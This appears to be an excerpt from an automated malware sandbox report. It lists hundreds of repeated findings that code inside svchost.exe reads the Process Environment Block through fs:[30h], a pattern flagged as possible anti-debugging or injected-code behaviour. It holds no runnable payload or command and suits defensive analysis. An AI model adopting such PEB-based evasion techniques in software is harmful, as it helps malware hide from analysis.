Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E5CF mov eax, dword ptr fs:[00000030h]	2_2_0346E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E5CF mov eax, dword ptr fs:[00000030h]	2_2_0346E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034365D0 mov eax, dword ptr fs:[00000030h]	2_2_034365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0346A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0346A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034325E0 mov eax, dword ptr fs:[00000030h]	2_2_034325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C5ED mov eax, dword ptr fs:[00000030h]	2_2_0346C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C5ED mov eax, dword ptr fs:[00000030h]	2_2_0346C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432582 mov eax, dword ptr fs:[00000030h]	2_2_03432582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432582 mov ecx, dword ptr fs:[00000030h]	2_2_03432582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464588 mov eax, dword ptr fs:[00000030h]	2_2_03464588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E59C mov eax, dword ptr fs:[00000030h]	2_2_0346E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B05A7 mov eax, dword ptr fs:[00000030h]	2_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B05A7 mov eax, dword ptr fs:[00000030h]	2_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B05A7 mov eax, dword ptr fs:[00000030h]	2_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034545B1 mov eax, dword ptr fs:[00000030h]	2_2_034545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034545B1 mov eax, dword ptr fs:[00000030h]	2_2_034545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EA456 mov eax, dword ptr fs:[00000030h]	2_2_034EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342645D mov eax, dword ptr fs:[00000030h]	2_2_0342645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345245A mov eax, dword ptr fs:[00000030h]	2_2_0345245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC460 mov ecx, dword ptr fs:[00000030h]	2_2_034BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345A470 mov eax, dword ptr fs:[00000030h]	2_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345A470 mov eax, dword ptr fs:[00000030h]	2_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345A470 mov eax, dword ptr fs:[00000030h]	2_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468402 mov eax, dword ptr fs:[00000030h]	2_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468402 mov eax, dword ptr fs:[00000030h]	2_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468402 mov eax, dword ptr fs:[00000030h]	2_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E420 mov eax, dword ptr fs:[00000030h]	2_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E420 mov eax, dword ptr fs:[00000030h]	2_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E420 mov eax, dword ptr fs:[00000030h]	2_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C427 mov eax, dword ptr fs:[00000030h]	2_2_0342C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A430 mov eax, dword ptr fs:[00000030h]	2_2_0346A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034304E5 mov ecx, dword ptr fs:[00000030h]	2_2_034304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EA49A mov eax, dword ptr fs:[00000030h]	2_2_034EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034364AB mov eax, dword ptr fs:[00000030h]	2_2_034364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034644B0 mov ecx, dword ptr fs:[00000030h]	2_2_034644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_034BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E4B4B mov eax, dword ptr fs:[00000030h]	2_2_034E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E4B4B mov eax, dword ptr fs:[00000030h]	2_2_034E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6B40 mov eax, dword ptr fs:[00000030h]	2_2_034C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6B40 mov eax, dword ptr fs:[00000030h]	2_2_034C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FAB40 mov eax, dword ptr fs:[00000030h]	2_2_034FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D8B42 mov eax, dword ptr fs:[00000030h]	2_2_034D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DEB50 mov eax, dword ptr fs:[00000030h]	2_2_034DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342CB7E mov eax, dword ptr fs:[00000030h]	2_2_0342CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EB20 mov eax, dword ptr fs:[00000030h]	2_2_0345EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EB20 mov eax, dword ptr fs:[00000030h]	2_2_0345EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F8B28 mov eax, dword ptr fs:[00000030h]	2_2_034F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F8B28 mov eax, dword ptr fs:[00000030h]	2_2_034F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450BCB mov eax, dword ptr fs:[00000030h]	2_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450BCB mov eax, dword ptr fs:[00000030h]	2_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450BCB mov eax, dword ptr fs:[00000030h]	2_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430BCD mov eax, dword ptr fs:[00000030h]	2_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430BCD mov eax, dword ptr fs:[00000030h]	2_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430BCD mov eax, dword ptr fs:[00000030h]	2_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_034DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438BF0 mov eax, dword ptr fs:[00000030h]	2_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438BF0 mov eax, dword ptr fs:[00000030h]	2_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438BF0 mov eax, dword ptr fs:[00000030h]	2_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EBFC mov eax, dword ptr fs:[00000030h]	2_2_0345EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_034BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440BBE mov eax, dword ptr fs:[00000030h]	2_2_03440BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440BBE mov eax, dword ptr fs:[00000030h]	2_2_03440BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_034E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_034E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440A5B mov eax, dword ptr fs:[00000030h]	2_2_03440A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440A5B mov eax, dword ptr fs:[00000030h]	2_2_03440A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA6F mov eax, dword ptr fs:[00000030h]	2_2_0346CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA6F mov eax, dword ptr fs:[00000030h]	2_2_0346CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA6F mov eax, dword ptr fs:[00000030h]	2_2_0346CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DEA60 mov eax, dword ptr fs:[00000030h]	2_2_034DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034ACA72 mov eax, dword ptr fs:[00000030h]	2_2_034ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034ACA72 mov eax, dword ptr fs:[00000030h]	2_2_034ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BCA11 mov eax, dword ptr fs:[00000030h]	2_2_034BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA24 mov eax, dword ptr fs:[00000030h]	2_2_0346CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EA2E mov eax, dword ptr fs:[00000030h]	2_2_0345EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03454A35 mov eax, dword ptr fs:[00000030h]	2_2_03454A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03454A35 mov eax, dword ptr fs:[00000030h]	2_2_03454A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA38 mov eax, dword ptr fs:[00000030h]	2_2_0346CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486ACC mov eax, dword ptr fs:[00000030h]	2_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486ACC mov eax, dword ptr fs:[00000030h]	2_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486ACC mov eax, dword ptr fs:[00000030h]	2_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430AD0 mov eax, dword ptr fs:[00000030h]	2_2_03430AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464AD0 mov eax, dword ptr fs:[00000030h]	2_2_03464AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464AD0 mov eax, dword ptr fs:[00000030h]	2_2_03464AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346AAEE mov eax, dword ptr fs:[00000030h]	2_2_0346AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346AAEE mov eax, dword ptr fs:[00000030h]	2_2_0346AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504A80 mov eax, dword ptr fs:[00000030h]	2_2_03504A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468A90 mov edx, dword ptr fs:[00000030h]	2_2_03468A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438AA0 mov eax, dword ptr fs:[00000030h]	2_2_03438AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438AA0 mov eax, dword ptr fs:[00000030h]	2_2_03438AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486AA4 mov eax, dword ptr fs:[00000030h]	2_2_03486AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0946 mov eax, dword ptr fs:[00000030h]	2_2_034B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962 mov eax, dword ptr fs:[00000030h]	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962 mov eax, dword ptr fs:[00000030h]	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962 mov eax, dword ptr fs:[00000030h]	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347096E mov eax, dword ptr fs:[00000030h]	2_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347096E mov edx, dword ptr fs:[00000030h]	2_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347096E mov eax, dword ptr fs:[00000030h]	2_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4978 mov eax, dword ptr fs:[00000030h]	2_2_034D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4978 mov eax, dword ptr fs:[00000030h]	2_2_034D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC97C mov eax, dword ptr fs:[00000030h]	2_2_034BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE908 mov eax, dword ptr fs:[00000030h]	2_2_034AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE908 mov eax, dword ptr fs:[00000030h]	2_2_034AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC912 mov eax, dword ptr fs:[00000030h]	2_2_034BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428918 mov eax, dword ptr fs:[00000030h]	2_2_03428918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428918 mov eax, dword ptr fs:[00000030h]	2_2_03428918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B892A mov eax, dword ptr fs:[00000030h]	2_2_034B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C892B mov eax, dword ptr fs:[00000030h]	2_2_034C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C69C0 mov eax, dword ptr fs:[00000030h]	2_2_034C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034649D0 mov eax, dword ptr fs:[00000030h]	2_2_034649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_034FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_034BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034629F9 mov eax, dword ptr fs:[00000030h]	2_2_034629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034629F9 mov eax, dword ptr fs:[00000030h]	2_2_034629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034309AD mov eax, dword ptr fs:[00000030h]	2_2_034309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034309AD mov eax, dword ptr fs:[00000030h]	2_2_034309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B89B3 mov esi, dword ptr fs:[00000030h]	2_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B89B3 mov eax, dword ptr fs:[00000030h]	2_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B89B3 mov eax, dword ptr fs:[00000030h]	2_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03442840 mov ecx, dword ptr fs:[00000030h]	2_2_03442840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460854 mov eax, dword ptr fs:[00000030h]	2_2_03460854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434859 mov eax, dword ptr fs:[00000030h]	2_2_03434859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434859 mov eax, dword ptr fs:[00000030h]	2_2_03434859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE872 mov eax, dword ptr fs:[00000030h]	2_2_034BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE872 mov eax, dword ptr fs:[00000030h]	2_2_034BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6870 mov eax, dword ptr fs:[00000030h]	2_2_034C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6870 mov eax, dword ptr fs:[00000030h]	2_2_034C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC810 mov eax, dword ptr fs:[00000030h]	2_2_034BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov eax, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov eax, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov eax, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov ecx, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov eax, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov eax, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A830 mov eax, dword ptr fs:[00000030h]	2_2_0346A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D483A mov eax, dword ptr fs:[00000030h]	2_2_034D483A
